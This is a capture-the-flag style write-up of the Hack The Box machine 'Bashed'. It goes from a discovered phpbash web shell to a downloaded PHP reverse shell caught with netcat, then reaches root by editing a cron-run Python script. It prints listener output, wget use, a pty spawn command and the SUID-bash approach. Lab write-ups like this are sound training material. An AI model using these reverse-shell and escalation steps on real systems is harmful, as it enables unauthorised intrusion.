phpbash is a standalone, semi-interactive web shell. It's main purpose is to assist in penetration tests where traditional reverse shells are not possible. The design is based on the default Kali Linux terminal colors, so pentesters should feel right at home. https://github.com/Arrexel/phpbash
Now we should try to scan directory with dirsearch.
If we go uploads directory or config.php file, it was just a blank page and there is no interesting things. But in /dev/ directory, we can see there is two file which is phpbash .
In phpbash.php file:
We can see its was just like terminal and get a shell which is users as a www-data .
We can get user.txt in arrexel 's home directory. When we get a shell, we should always try sudo -l in an easy box.
www-data@bashed:/home/arrexel# sudo -lMatching Defaults entries for www-data on bashed:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on bashed:(scriptmanager :scriptmanager) NOPASSWD: ALL
We can use sudo without password for scriptmanager but this shell does not has persistance, so we can't escalate to scriptmanager user. We should try to get reverse shell to us. In this case, we can't get a reverse shell with some one liner reverse shell because of may be some filter in the backend .But we can download reverse.php to uploads and get a shell.

Getting Rev Shell
You can search this php reverse shell in your kali or parrot by using locate command.And change your ip address, port and listen with netcat .
I created a web server to transfer that reverse shell file.
┌─[sheinn101@parrot]─[~/htb/oscp/bashed]└──╼ [??]$ sudo python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
We can use wget to download file, go to uploads directory and download it.
Now , If we go to this url, we will get a shell .
┌─[sheinn101@parrot]─[~/htb/oscp/bashed]└──╼ [??]$ rlwrap nc -nvlp 1337listening on [any] 1337...connect to [10.10.14.7] from (UNKNOWN) [10.10.10.68] 58986Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 1814:10:15UTC2017 x86_64 x86_64 x86_64 GNU/Linux08:01:07 up 56 min,0 users, load average:0.00,0.00,0.00USERTTYFROMLOGIN@ IDLEJCPUPCPUWHATuid=33(www-data) gid=33(www-data) groups=33(www-data)/bin/sh:0: can't access tty; job control turned off$
I used rlwrap in front of nc to get usable left and right key.
Use this to get a shell as bash
python3 -c 'import pty;pty.spawn("/bin/bash")
Privilege Escalation
Now we can escalate to scriptmanager user by using this command.
After some enumeration, I found a folder which is own by scriptmanager name called scripts
ls -altotal 16drwxrwxr--2 scriptmanager scriptmanager 4096 Dec 42017 .drwxr-xr-x 23 root root 4096 Dec 42017 ..-rw-r--r--1 scriptmanager scriptmanager 58 Dec 42017test.py-rw-r--r--1 root root 12 Dec 2208:10test.txtscriptmanager@bashed:/scripts$ cat test.pyf =open("test.txt","w")f.write("testing 123!")f.close
It runing with cronjob . To get root access, we need to modify test.py file. In this case I just gave special user permission to /bin/bash and you can use python reverse shell to get root access.
